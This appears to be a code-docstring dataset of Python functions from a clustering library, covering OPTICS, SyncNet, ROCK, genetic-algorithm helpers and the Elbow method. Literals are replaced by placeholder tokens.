{"signature": "def __neighbor_indexes_distance_matrix(self, optic_object):", "body": "distances = self.__sample_pointer[optic_object.index_object]<EOL>return [[index_neighbor, distances[index_neighbor]] for index_neighbor in range(len(distances))<EOL>if ((distances[index_neighbor] <= self.__eps) and (index_neighbor != optic_object.index_object))]<EOL>", "docstring": "!\n        @brief Return neighbors of the specified object in case of distance matrix.\n\n        @param[in] optic_object (optics_descriptor): Object for which neighbors should be returned in line with connectivity radius.\n\n        @return (list) List of indexes of neighbors in line the connectivity radius.", "id": "f15542:c3:m17"}
{"signature": "def __init__(self, encoding, clusters, data):", "body": "self.__type_representation = encoding;<EOL>self.__clusters = clusters;<EOL>self.__data = data<EOL>", "docstring": "!\n        @brief Constructor of clustering result representor.\n\n        @param[in] encoding (type_encoding): Type of clusters representation (index list, object list or labels).\n        @param[in] clusters (list): Current clusters representation.\n        @param[in] data (list): Data that corresponds to clusters.", "id": "f15543:c1:m0"}
{"signature": "@property<EOL><INDENT>def get_encoding(self):<DEDENT>", "body": "return self.__type_representation<EOL>", "docstring": "!\n        @brief Returns current cluster representation.", "id": "f15543:c1:m1"}
{"signature": "def get_clusters(self):", "body": "return self.__clusters<EOL>", "docstring": "!\n        @brief Returns clusters representation.", "id": "f15543:c1:m2"}
{"signature": "def get_data(self):", "body": "return self.__data<EOL>", "docstring": "!\n        @brief Returns data that corresponds to clusters.", "id": "f15543:c1:m3"}
{"signature": "def set_encoding(self, encoding):", "body": "if(encoding == self.__type_representation):<EOL><INDENT>return;<EOL><DEDENT>if (self.__type_representation == type_encoding.CLUSTER_INDEX_LABELING):<EOL><INDENT>if (encoding == type_encoding.CLUSTER_INDEX_LIST_SEPARATION):<EOL><INDENT>self.__clusters = self.__convert_label_to_index();<EOL><DEDENT>else:<EOL><INDENT>self.__clusters = self.__convert_label_to_object();<EOL><DEDENT><DEDENT>elif (self.__type_representation == type_encoding.CLUSTER_INDEX_LIST_SEPARATION):<EOL><INDENT>if (encoding == type_encoding.CLUSTER_INDEX_LABELING):<EOL><INDENT>self.__clusters = self.__convert_index_to_label();<EOL><DEDENT>else:<EOL><INDENT>self.__clusters = self.__convert_index_to_object();<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if (encoding == type_encoding.CLUSTER_INDEX_LABELING):<EOL><INDENT>self.__clusters = self.__convert_object_to_label();<EOL><DEDENT>else:<EOL><INDENT>self.__clusters = self.__convert_object_to_index();<EOL><DEDENT><DEDENT>self.__type_representation = encoding<EOL>", "docstring": "!\n        @brief Change clusters encoding to specified type (index list, object list, labeling).\n\n        @param[in] encoding (type_encoding): New type of clusters representation.", "id": "f15543:c1:m4"}
{"signature": "@staticmethod<EOL><INDENT>def get_clusters_representation(chromosome, count_clusters=None):<DEDENT>", "body": "if count_clusters is None:<EOL><INDENT>count_clusters = ga_math.calc_count_centers(chromosome)<EOL><DEDENT>clusters = [[] for _ in range(count_clusters)]<EOL>for _idx_data in range(len(chromosome)):<EOL><INDENT>clusters[chromosome[_idx_data]].append(_idx_data)<EOL><DEDENT>return clusters<EOL>", "docstring": "Convert chromosome to cluster representation:\n                chromosome : [0, 1, 1, 0, 2, 3, 3]\n                clusters: [[0, 3], [1, 2], [4], [5, 6]]", "id": "f15544:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def get_centres(chromosomes, data, count_clusters):<DEDENT>", "body": "centres = ga_math.calc_centers(chromosomes, data, count_clusters)<EOL>return centres<EOL>", "docstring": "!", "id": "f15544:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def calc_centers(chromosomes, data, count_clusters=None):<DEDENT>", "body": "if count_clusters is None:<EOL><INDENT>count_clusters = ga_math.calc_count_centers(chromosomes[<NUM_LIT:0>])<EOL><DEDENT>centers = np.zeros(shape=(len(chromosomes), count_clusters, len(data[<NUM_LIT:0>])))<EOL>for _idx_chromosome in range(len(chromosomes)):<EOL><INDENT>count_data_in_cluster = np.zeros(count_clusters)<EOL>for _idx in range(len(chromosomes[_idx_chromosome])):<EOL><INDENT>cluster_num = chromosomes[_idx_chromosome][_idx]<EOL>centers[_idx_chromosome][cluster_num] += data[_idx]<EOL>count_data_in_cluster[cluster_num] += <NUM_LIT:1><EOL><DEDENT>for _idx_cluster in range(count_clusters):<EOL><INDENT>if count_data_in_cluster[_idx_cluster] != <NUM_LIT:0>:<EOL><INDENT>centers[_idx_chromosome][_idx_cluster] /= count_data_in_cluster[_idx_cluster]<EOL><DEDENT><DEDENT><DEDENT>return centers<EOL>", "docstring": "!", "id": "f15544:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def calc_probability_vector(fitness):<DEDENT>", "body": "if len(fitness) == <NUM_LIT:0>:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\")<EOL><DEDENT>inv_fitness = np.zeros(len(fitness))<EOL>for _idx in range(len(inv_fitness)):<EOL><INDENT>if fitness[_idx] != <NUM_LIT:0.0>:<EOL><INDENT>inv_fitness[_idx] = <NUM_LIT:1.0> / fitness[_idx]<EOL><DEDENT>else:<EOL><INDENT>inv_fitness[_idx] = <NUM_LIT:0.0><EOL><DEDENT><DEDENT>prob = np.zeros(len(fitness))<EOL>prob[<NUM_LIT:0>] = inv_fitness[<NUM_LIT:0>]<EOL>for _idx in range(<NUM_LIT:1>, len(inv_fitness)):<EOL><INDENT>prob[_idx] = prob[_idx - <NUM_LIT:1>] + inv_fitness[_idx]<EOL><DEDENT>prob /= prob[-<NUM_LIT:1>]<EOL>ga_math.set_last_value_to_one(prob)<EOL>return prob<EOL>", "docstring": "!", "id": "f15544:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def set_last_value_to_one(probabilities):<DEDENT>", "body": "<EOL>back_idx = - <NUM_LIT:1><EOL>last_val = probabilities[back_idx]<EOL>for _ in range(-<NUM_LIT:1>, -len(probabilities) - <NUM_LIT:1>):<EOL><INDENT>if probabilities[back_idx] == last_val:<EOL><INDENT>probabilities[back_idx] = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Update the last same probabilities to one.\n        @details All values of probability list equals to the last element are set to 1.", "id": "f15544:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def get_uniform(probabilities):<DEDENT>", "body": "<EOL>res_idx = None<EOL>random_num = np.random.rand()<EOL>for _idx in range(len(probabilities)):<EOL><INDENT>if random_num < probabilities[_idx]:<EOL><INDENT>res_idx = _idx<EOL>break<EOL><DEDENT><DEDENT>if res_idx is None:<EOL><INDENT>print('<STR_LIT>', probabilities)<EOL>raise AttributeError(\"<STR_LIT>\")<EOL><DEDENT>return res_idx<EOL>", "docstring": "!\n        @brief Returns index in probabilities.\n\n        @param[in] probabilities (list): List with segments in increasing sequence with val in [0, 1],\n                   for example, [0 0.1 0.2 0.3 1.0].", "id": "f15544:c0:m6"}
{"signature": "def __init__(self, phase, time, pointer_sync_analyser):", "body": "super().__init__(phase, time, pointer_sync_analyser)<EOL>", "docstring": "!\n        @brief Constructor of the analyser.\n\n        @param[in] phase (list): Output dynamic of the oscillatory network, where one iteration consists of all phases of oscillators.\n        @param[in] time (list): Simulation time.\n        @param[in] pointer_sync_analyser (POINTER): Pointer to CCORE analyser, if specified then other arguments can be omitted.", "id": "f15545:c0:m0"}
{"signature": "def __del__(self):", "body": "if (self._ccore_sync_dynamic_pointer is not None):<EOL><INDENT>syncnet_analyser_destroy(self._ccore_sync_dynamic_pointer);<EOL>self._ccore_sync_dynamic_pointer = None;<EOL><DEDENT>", "docstring": "!\n        @brief Desctructor of the analyser.", "id": "f15545:c0:m1"}
{"signature": "def allocate_clusters(self, eps = <NUM_LIT>, indexes = None, iteration = None):", "body": "return self.allocate_sync_ensembles(eps, indexes, iteration)<EOL>", "docstring": "!\n        @brief Returns list of clusters in line with state of ocillators (phases).\n\n        @param[in] eps (double): Tolerance level that define maximal difference between phases of oscillators in one cluster.\n        @param[in] indexes (list): List of real object indexes and it should be equal to amount of oscillators (in case of 'None' - indexes are in range [0; amount_oscillators]).\n        @param[in] iteration (uint): Iteration of simulation that should be used for allocation.\n\n        @return (list) List of clusters, for example [ [cluster1], [cluster2], ... ].)", "id": "f15545:c0:m2"}
{"signature": "def get_cluster_encoding(self):", "body": "return type_encoding.CLUSTER_INDEX_LIST_SEPARATION<EOL>", "docstring": "!\n        @brief Returns clustering result representation type that indicate how clusters are encoded.\n\n        @return (type_encoding) Clustering result representation.\n\n        @see get_clusters()", "id": "f15545:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def animate_cluster_allocation(dataset, analyser, animation_velocity = <NUM_LIT>, tolerance = <NUM_LIT:0.1>, save_movie = None, title = None):<DEDENT>", "body": "figure = plt.figure();<EOL>def init_frame():<EOL><INDENT>return frame_generation(<NUM_LIT:0>);<EOL><DEDENT>def frame_generation(index_dynamic):<EOL><INDENT>figure.clf();<EOL>if (title is not None):<EOL><INDENT>figure.suptitle(title, fontsize = <NUM_LIT>, fontweight = '<STR_LIT>');<EOL><DEDENT>ax1 = figure.add_subplot(<NUM_LIT>, projection='<STR_LIT>');<EOL>clusters = analyser.allocate_clusters(eps = tolerance, iteration = index_dynamic);<EOL>dynamic = analyser.output[index_dynamic];<EOL>visualizer = cluster_visualizer(size_row = <NUM_LIT:2>);<EOL>visualizer.append_clusters(clusters, dataset);<EOL>artist1, = ax1.plot(dynamic, [<NUM_LIT:1.0>] * len(dynamic), marker = '<STR_LIT:o>', color = '<STR_LIT>', ls = '<STR_LIT>');<EOL>visualizer.show(figure, display = False);<EOL>artist2 = figure.gca();<EOL>return [ artist1, artist2 ];<EOL><DEDENT>cluster_animation = animation.FuncAnimation(figure, frame_generation, len(analyser), interval = animation_velocity, init_func = init_frame, repeat_delay = <NUM_LIT>);<EOL>if (save_movie is not None):<EOL><INDENT>plt.rcParams['<STR_LIT>'] = '<STR_LIT>';<EOL>ffmpeg_writer = animation.FFMpegWriter(fps = <NUM_LIT:15>);<EOL>cluster_animation.save(save_movie, writer = ffmpeg_writer);<EOL>", "docstring": "!\n        @brief Shows animation of output dynamic (output of each oscillator) during simulation on a circle from [0; 2pi].\n\n        @param[in] dataset (list): Input data that was used for processing by the network.\n        @param[in] analyser (syncnet_analyser): Output dynamic analyser of the Sync network.\n        @param[in] animation_velocity (uint): Interval between frames in milliseconds.\n        @param[in] tolerance (double): Tolerance level that define maximal difference between phases of oscillators in one cluster.\n        @param[in] save_movie (string): If it is specified then animation will be stored to file that is specified in this parameter.\n        @param[in] title (string): If it is specified then title will be displayed on the animation plot.", "id": "f15545:c1:m0"}
{"signature": "def __init__(self, sample, radius, conn_repr = conn_represent.MATRIX, initial_phases = initial_type.RANDOM_GAUSSIAN, enable_conn_weight = False, ccore = True):", "body": "self._ccore_network_pointer = None;<EOL>self._osc_loc = sample;<EOL>self._num_osc = len(sample);<EOL>if ( (ccore is True) and ccore_library.workable() ):<EOL><INDENT>self._ccore_network_pointer = syncnet_create_network(sample, radius, initial_phases, enable_conn_weight);<EOL>self._conn_represent = conn_represent.MATRIX;<EOL><DEDENT>else:<EOL><INDENT>super().__init__(len(sample), <NUM_LIT:1>, <NUM_LIT:0>, conn_type.DYNAMIC, conn_repr, initial_phases, False);<EOL>self._conn_weight = None;<EOL>self._ena_conn_weight = enable_conn_weight;<EOL>if (radius is not None):<EOL><INDENT>self._create_connections(radius);<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Contructor of the oscillatory network SYNC for cluster analysis.\n\n        @param[in] sample (list): Input data that is presented as list of points (objects), each point should be represented by list or tuple.\n        @param[in] radius (double): Connectivity radius between points, points should be connected if distance between them less then the radius.\n        @param[in] conn_repr (conn_represent): Internal representation of connection in the network: matrix or list. Ignored in case of usage of CCORE library.\n        @param[in] initial_phases (initial_type): Type of initialization of initial phases of oscillators (random, uniformly distributed, etc.).\n        @param[in] enable_conn_weight (bool): If True - enable mode when strength between oscillators depends on distance between two oscillators.\n              If False - all connection between oscillators have the same strength that equals to 1 (True).\n        @param[in] ccore (bool): Defines should be CCORE C++ library used instead of Python code or not.", "id": "f15545:c2:m0"}
{"signature": "def __del__(self):", "body": "if (self._ccore_network_pointer is not None):<EOL><INDENT>syncnet_destroy_network(self._ccore_network_pointer);<EOL>self._ccore_network_pointer = None;<EOL><DEDENT>", "docstring": "!\n        @brief Destructor of oscillatory network is based on Kuramoto model.", "id": "f15545:c2:m1"}
{"signature": "def _create_connections(self, radius):", "body": "if (self._ena_conn_weight is True):<EOL><INDENT>self._conn_weight = [[<NUM_LIT:0>] * self._num_osc for _ in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>)];<EOL><DEDENT>maximum_distance = <NUM_LIT:0>;<EOL>minimum_distance = float('<STR_LIT>');<EOL>for i in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>for j in range(i + <NUM_LIT:1>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>dist = euclidean_distance(self._osc_loc[i], self._osc_loc[j]);<EOL>if (self._ena_conn_weight is True):<EOL><INDENT>self._conn_weight[i][j] = dist;<EOL>self._conn_weight[j][i] = dist;<EOL>if (dist > maximum_distance): maximum_distance = dist;<EOL>if (dist < minimum_distance): minimum_distance = dist;<EOL><DEDENT>if (dist <= radius):<EOL><INDENT>self.set_connection(i, j);<EOL><DEDENT><DEDENT><DEDENT>if (self._ena_conn_weight is True):<EOL><INDENT>multiplier = <NUM_LIT:1>; <EOL>subtractor = <NUM_LIT:0>;<EOL>if (maximum_distance != minimum_distance):<EOL><INDENT>multiplier = (maximum_distance - minimum_distance);<EOL>subtractor = minimum_distance;<EOL><DEDENT>for i in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>for j in range(i + <NUM_LIT:1>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>value_conn_weight = (self._conn_weight[i][j] - subtractor) / multiplier;<EOL>self._conn_weight[i][j] = value_conn_weight;<EOL>self._conn_weight[j][i] = value_conn_weight;<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Create connections between oscillators in line with input radius of connectivity.\n\n        @param[in] radius (double): Connectivity radius between oscillators.", "id": "f15545:c2:m2"}
{"signature": "def process(self, order = <NUM_LIT>, solution = solve_type.FAST, collect_dynamic = True):", "body": "if (self._ccore_network_pointer is not None):<EOL><INDENT>pointer_output_dynamic = syncnet_process(self._ccore_network_pointer, order, solution, collect_dynamic);<EOL>return syncnet_analyser(None, None, pointer_output_dynamic);<EOL><DEDENT>else:<EOL><INDENT>output_sync_dynamic = self.simulate_dynamic(order, solution, collect_dynamic);<EOL>return syncnet_analyser(output_sync_dynamic.output, output_sync_dynamic.time, None);<EOL><DEDENT>", "docstring": "!\n        @brief Peforms cluster analysis using simulation of the oscillatory network.\n\n        @param[in] order (double): Order of synchronization that is used as indication for stopping processing.\n        @param[in] solution (solve_type): Specified type of solving diff. equation.\n        @param[in] collect_dynamic (bool): Specified requirement to collect whole dynamic of the network.\n\n        @return (syncnet_analyser) Returns analyser of results of clustering.", "id": "f15545:c2:m3"}
{"signature": "def _phase_kuramoto(self, teta, t, argv):", "body": "index = argv;   <EOL>phase = <NUM_LIT:0.0>;      <EOL>neighbors = self.get_neighbors(index);<EOL>for k in neighbors:<EOL><INDENT>conn_weight = <NUM_LIT:1.0>;<EOL>if (self._ena_conn_weight is True):<EOL><INDENT>conn_weight = self._conn_weight[index][k];<EOL><DEDENT>phase += conn_weight * self._weight * math.sin(self._phases[k] - teta);<EOL><DEDENT>divider = len(neighbors);<EOL>if (divider == <NUM_LIT:0>):<EOL><INDENT>divider = <NUM_LIT:1.0>;<EOL><DEDENT>return ( self._freq[index] + (phase / divider) )<EOL>", "docstring": "!\n        @brief Overrided method for calculation of oscillator phase.\n\n        @param[in] teta (double): Current value of phase.\n        @param[in] t (double): Time (can be ignored).\n        @param[in] argv (uint): Index of oscillator whose phase represented by argument teta.\n\n        @return (double) New value of phase of oscillator with index 'argv'.", "id": "f15545:c2:m4"}
{"signature": "def show_network(self):", "body": "if ( (self._ccore_network_pointer is not None) and (self._osc_conn is None) ):<EOL><INDENT>self._osc_conn = sync_connectivity_matrix(self._ccore_network_pointer);<EOL><DEDENT>dimension = len(self._osc_loc[<NUM_LIT:0>]);<EOL>if ( (dimension != <NUM_LIT:3>) and (dimension != <NUM_LIT:2>) ):<EOL><INDENT>raise NameError('<STR_LIT>');<EOL><DEDENT>from matplotlib.font_manager import FontProperties;<EOL>from matplotlib import rcParams;<EOL>rcParams['<STR_LIT>'] = ['<STR_LIT>'];<EOL>rcParams['<STR_LIT>'] = <NUM_LIT:12>;<EOL>fig = plt.figure();<EOL>axes = None;<EOL>if (dimension == <NUM_LIT:2>):<EOL><INDENT>axes = fig.add_subplot(<NUM_LIT>);<EOL><DEDENT>elif (dimension == <NUM_LIT:3>):<EOL><INDENT>axes = fig.gca(projection='<STR_LIT>');<EOL><DEDENT>surface_font = FontProperties();<EOL>surface_font.set_name('<STR_LIT>');<EOL>surface_font.set_size('<STR_LIT>');<EOL>for i in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>if (dimension == <NUM_LIT:2>):<EOL><INDENT>axes.plot(self._osc_loc[i][<NUM_LIT:0>], self._osc_loc[i][<NUM_LIT:1>], '<STR_LIT>');  <EOL>if (self._conn_represent == conn_represent.MATRIX):<EOL><INDENT>for j in range(i, self._num_osc, <NUM_LIT:1>):    <EOL><INDENT>if (self.has_connection(i, j) == True):<EOL><INDENT>axes.plot([self._osc_loc[i][<NUM_LIT:0>], self._osc_loc[j][<NUM_LIT:0>]], [self._osc_loc[i][<NUM_LIT:1>], self._osc_loc[j][<NUM_LIT:1>]], '<STR_LIT>', linewidth = <NUM_LIT:0.5>);<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for j in self.get_neighbors(i):<EOL><INDENT>if ( (self.has_connection(i, j) == True) and (i > j) ):     <EOL><INDENT>axes.plot([self._osc_loc[i][<NUM_LIT:0>], self._osc_loc[j][<NUM_LIT:0>]], [self._osc_loc[i][<NUM_LIT:1>], self._osc_loc[j][<NUM_LIT:1>]], '<STR_LIT>', linewidth = <NUM_LIT:0.5>);<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif (dimension == <NUM_LIT:3>):<EOL><INDENT>axes.scatter(self._osc_loc[i][<NUM_LIT:0>], self._osc_loc[i][<NUM_LIT:1>], self._osc_loc[i][<NUM_LIT:2>], c = '<STR_LIT:b>', marker = '<STR_LIT:o>');<EOL>if (self._conn_represent == conn_represent.MATRIX):<EOL><INDENT>for j in range(i, self._num_osc, <NUM_LIT:1>):    <EOL><INDENT>if (self.has_connection(i, j) == True):<EOL><INDENT>axes.plot([self._osc_loc[i][<NUM_LIT:0>], self._osc_loc[j][<NUM_LIT:0>]], [self._osc_loc[i][<NUM_LIT:1>], self._osc_loc[j][<NUM_LIT:1>]], [self._osc_loc[i][<NUM_LIT:2>], self._osc_loc[j][<NUM_LIT:2>]], '<STR_LIT>', linewidth = <NUM_LIT:0.5>);<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for j in self.get_neighbors(i):<EOL><INDENT>if ( (self.has_connection(i, j) == True) and (i > j) ):     <EOL><INDENT>axes.plot([self._osc_loc[i][<NUM_LIT:0>], self._osc_loc[j][<NUM_LIT:0>]], [self._osc_loc[i][<NUM_LIT:1>], self._osc_loc[j][<NUM_LIT:1>]], [self._osc_loc[i][<NUM_LIT:2>], self._osc_loc[j][<NUM_LIT:2>]], '<STR_LIT>', linewidth = <NUM_LIT:0.5>);<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>plt.grid();<EOL>plt.show()<EOL>", "docstring": "!\n        @brief Shows connections in the network. It supports only 2-d and 3-d representation.", "id": "f15545:c2:m5"}
{"signature": "def __init__(self, data, eps, number_clusters, threshold = <NUM_LIT:0.5>, ccore = True):", "body": "self.__pointer_data = data;<EOL>self.__eps = eps;<EOL>self.__number_clusters = number_clusters;<EOL>self.__threshold = threshold;<EOL>self.__clusters = None;<EOL>self.__ccore = ccore;<EOL>if (self.__ccore):<EOL><INDENT>self.__ccore = ccore_library.workable();<EOL><DEDENT>self.__degree_normalization = <NUM_LIT:1.0> + <NUM_LIT> * ( (<NUM_LIT:1.0> - threshold) / (<NUM_LIT:1.0> + threshold) );<EOL>self.__adjacency_matrix = None;<EOL>self.__create_adjacency_matrix()<EOL>", "docstring": "!\n        @brief Constructor of clustering algorithm ROCK.\n\n        @param[in] data (list): Input data - list of points where each point is represented by list of coordinates.\n        @param[in] eps (double): Connectivity radius (similarity threshold), points are neighbors if distance between them is less than connectivity radius.\n        @param[in] number_clusters (uint): Defines number of clusters that should be allocated from the input data set.\n        @param[in] threshold (double): Value that defines degree of normalization that influences on choice of clusters for merging during processing.\n        @param[in] ccore (bool): Defines should be CCORE (C++ pyclustering library) used instead of Python code or not.", "id": "f15546:c0:m0"}
{"signature": "def process(self):", "body": "<EOL>if (self.__ccore is True):<EOL><INDENT>self.__clusters = wrapper.rock(self.__pointer_data, self.__eps, self.__number_clusters, self.__threshold);<EOL><DEDENT>else:  <EOL><INDENT>self.__clusters = [[index] for index in range(len(self.__pointer_data))];<EOL>while (len(self.__clusters) > self.__number_clusters):<EOL><INDENT>indexes = self.__find_pair_clusters(self.__clusters);<EOL>if (indexes != [-<NUM_LIT:1>, -<NUM_LIT:1>]):<EOL><INDENT>self.__clusters[indexes[<NUM_LIT:0>]] += self.__clusters[indexes[<NUM_LIT:1>]];<EOL>self.__clusters.pop(indexes[<NUM_LIT:1>]);   <EOL><DEDENT>else:<EOL><INDENT>break;<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Performs cluster analysis in line with rules of ROCK algorithm.\n\n        @remark Results of clustering can be obtained using corresponding get methods.\n\n        @see get_clusters()", "id": "f15546:c0:m1"}
{"signature": "def get_clusters(self):", "body": "return self.__clusters<EOL>", "docstring": "!\n        @brief Returns list of allocated clusters, each cluster contains indexes of objects in list of data.\n\n        @return (list) List of allocated clusters, each cluster contains indexes of objects in list of data.\n\n        @see process()", "id": "f15546:c0:m2"}
{"signature": "def get_cluster_encoding(self):", "body": "return type_encoding.CLUSTER_INDEX_LIST_SEPARATION<EOL>", "docstring": "!\n        @brief Returns clustering result representation type that indicate how clusters are encoded.\n\n        @return (type_encoding) Clustering result representation.\n\n        @see get_clusters()", "id": "f15546:c0:m3"}
{"signature": "def __find_pair_clusters(self, clusters):", "body": "maximum_goodness = <NUM_LIT:0.0>;<EOL>cluster_indexes = [-<NUM_LIT:1>, -<NUM_LIT:1>];<EOL>for i in range(<NUM_LIT:0>, len(clusters)):<EOL><INDENT>for j in range(i + <NUM_LIT:1>, len(clusters)):<EOL><INDENT>goodness = self.__calculate_goodness(clusters[i], clusters[j]);<EOL>if (goodness > maximum_goodness):<EOL><INDENT>maximum_goodness = goodness;<EOL>cluster_indexes = [i, j];<EOL><DEDENT><DEDENT><DEDENT>return cluster_indexes<EOL>", "docstring": "!\n        @brief Returns pair of clusters that are best candidates for merging in line with goodness measure.\n               The pair of clusters for which the above goodness measure is maximum is the best pair of clusters to be merged.\n\n        @param[in] clusters (list): List of clusters that have been allocated during processing, each cluster is represented by list of indexes of points from the input data set.\n\n        @return (list) List that contains two indexes of clusters (from list 'clusters') that should be merged on this step.\n                It can be equals to [-1, -1] when no links between clusters.", "id": "f15546:c0:m4"}
{"signature": "def __calculate_links(self, cluster1, cluster2):", "body": "number_links = <NUM_LIT:0>;<EOL>for index1 in cluster1:<EOL><INDENT>for index2 in cluster2:<EOL><INDENT>number_links += self.__adjacency_matrix[index1][index2];<EOL><DEDENT><DEDENT>return number_links<EOL>", "docstring": "!\n        @brief Returns number of link between two clusters. \n        @details Link between objects (points) exists only if distance between them less than connectivity radius.\n\n        @param[in] cluster1 (list): The first cluster.\n        @param[in] cluster2 (list): The second cluster.\n\n        @return (uint) Number of links between two clusters.", "id": "f15546:c0:m5"}
{"signature": "def __create_adjacency_matrix(self):", "body": "size_data = len(self.__pointer_data);<EOL>self.__adjacency_matrix = [ [ <NUM_LIT:0> for i in range(size_data) ] for j in range(size_data) ];<EOL>for i in range(<NUM_LIT:0>, size_data):<EOL><INDENT>for j in range(i + <NUM_LIT:1>, size_data):<EOL><INDENT>distance = euclidean_distance(self.__pointer_data[i], self.__pointer_data[j]);<EOL>if (distance <= self.__eps):<EOL><INDENT>self.__adjacency_matrix[i][j] = <NUM_LIT:1>;<EOL>self.__adjacency_matrix[j][i] = <NUM_LIT:1>;<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Creates 2D adjacency matrix (list of lists) where each element described existence of link between points (means that points are neighbors).", "id": "f15546:c0:m6"}
{"signature": "def __calculate_goodness(self, cluster1, cluster2):", "body": "number_links = self.__calculate_links(cluster1, cluster2);<EOL>devider = (len(cluster1) + len(cluster2)) ** self.__degree_normalization - len(cluster1) ** self.__degree_normalization - len(cluster2) ** self.__degree_normalization;<EOL>return (number_links / devider)<EOL>", "docstring": "!\n        @brief Calculates coefficient 'goodness measurement' between two clusters. The coefficient defines level of suitability of clusters for merging.\n\n        @param[in] cluster1 (list): The first cluster.\n        @param[in] cluster2 (list): The second cluster.\n\n        @return Goodness measure between two clusters.", "id": "f15546:c0:m7"}
{"signature": "def __init__(self, data, kmin, kmax, **kwargs):", "body": "if kmax - kmin < <NUM_LIT:3>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(kmax - kmin) + \"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if len(data) < kmax:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (kmax, len(data)))<EOL><DEDENT>self.__initializer = kwargs.get('<STR_LIT>', kmeans_plusplus_initializer)<EOL>self.__ccore = kwargs.get('<STR_LIT>', True) orisinstance(self.__initializer, kmeans_plusplus_initializer) orisinstance(self.__initializer, random_center_initializer)<EOL>if self.__ccore:<EOL><INDENT>self.__ccore = ccore_library.workable()<EOL><DEDENT>self.__data = data<EOL>self.__kmin = kmin<EOL>self.__kmax = kmax<EOL>self.__wce = []<EOL>self.__elbows = []<EOL>self.__kvalue = -<NUM_LIT:1><EOL>", "docstring": "!\n        @brief Construct Elbow method.\n\n        @param[in] data (array_like): Input data that is presented as array of points (objects), each point should be represented by array_like data structure.\n        @param[in] kmin (int): Minimum amount of clusters that should be considered.\n        @param[in] kmax (int): Maximum amount of clusters that should be considered.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'ccore', 'initializer').\n\n        <b>Keyword Args:</b><br>\n            - ccore (bool): If True then CCORE (C++ implementation of pyclustering library) is used (by default True).\n            - initializer (callable): Center initializer that is used by K-Means algorithm (by default K-Means++).", "id": "f15547:c0:m0"}
{"signature": "def process(self):", "body": "if self.__ccore:<EOL><INDENT>self.__process_by_ccore()<EOL><DEDENT>else:<EOL><INDENT>self.__process_by_python()<EOL><DEDENT>return self<EOL>", "docstring": "!\n        @brief Performs analysis to find out appropriate amount of clusters.\n\n        @return", "id": "f15547:c0:m1"}
{"signature": "def __process_by_ccore(self):", "body": "if isinstance(self.__initializer, kmeans_plusplus_initializer):<EOL><INDENT>initializer = wrapper.elbow_center_initializer.KMEANS_PLUS_PLUS<EOL><DEDENT>else:<EOL><INDENT>initializer = wrapper.elbow_center_initializer.RANDOM<EOL><DEDENT>result = wrapper.elbow(self.__data, self.__kmin, self.__kmax, initializer)<EOL>self.__kvalue = result[<NUM_LIT:0>]<EOL>self.__wce = result[<NUM_LIT:1>]<EOL>", "docstring": "!\n        @brief Performs processing using C++ implementation.", "id": "f15547:c0:m2"}
{"signature": "def __process_by_python(self):", "body": "for amount in range(self.__kmin, self.__kmax):<EOL><INDENT>centers = self.__initializer(self.__data, amount).initialize()<EOL>instance = kmeans(self.__data, centers, ccore=True)<EOL>instance.process()<EOL>self.__wce.append(instance.get_total_wce())<EOL><DEDENT>self.__calculate_elbows()<EOL>self.__find_optimal_kvalue()<EOL>", "docstring": "!\n        @brief Performs processing using python implementation.", "id": "f15547:c0:m3"}
{"signature": "def get_amount(self):", "body": "return self.__kvalue<EOL>", "docstring": "!\n        @brief Returns appropriate amount of clusters.", "id": "f15547:c0:m4"}
{"signature": "def get_wce(self):", "body": "return self.__wce<EOL>", "docstring": "!\n        @brief Returns list of total within cluster errors for each K-value (kmin, kmin + 1, ..., kmax - 1).", "id": "f15547:c0:m5"}
{"signature": "def __calculate_elbows(self):", "body": "x0, y0 = <NUM_LIT:0.0>, self.__wce[<NUM_LIT:0>]<EOL>x1, y1 = float(len(self.__wce)), self.__wce[-<NUM_LIT:1>]<EOL>for index_elbow in range(<NUM_LIT:1>, len(self.__wce) - <NUM_LIT:1>):<EOL><INDENT>x, y = float(index_elbow), self.__wce[index_elbow]<EOL>segment = abs((y0 - y1) * x + (x1 - x0) * y + (x0 * y1 - x1 * y0))<EOL>norm = math.sqrt((x1 - x0) ** <NUM_LIT:2> + (y1 - y0) ** <NUM_LIT:2>)<EOL>distance = segment / norm<EOL>self.__elbows.append(distance)<EOL><DEDENT>", "docstring": "!\n        @brief Calculates potential elbows.\n        @details Elbow is calculated as a distance from each point (x, y) to segment from kmin-point (x0, y0) to kmax-point (x1, y1).", "id": "f15547:c0:m6"}
{"signature": "def __find_optimal_kvalue(self):", "body": "optimal_elbow_value = max(self.__elbows)<EOL>self.__kvalue = self.__elbows.index(optimal_elbow_value) + <NUM_LIT:1> + self.__kmin<EOL>", "docstring": "!\n        @brief Finds elbow and returns corresponding K-value.", "id": "f15547:c0:m7"}
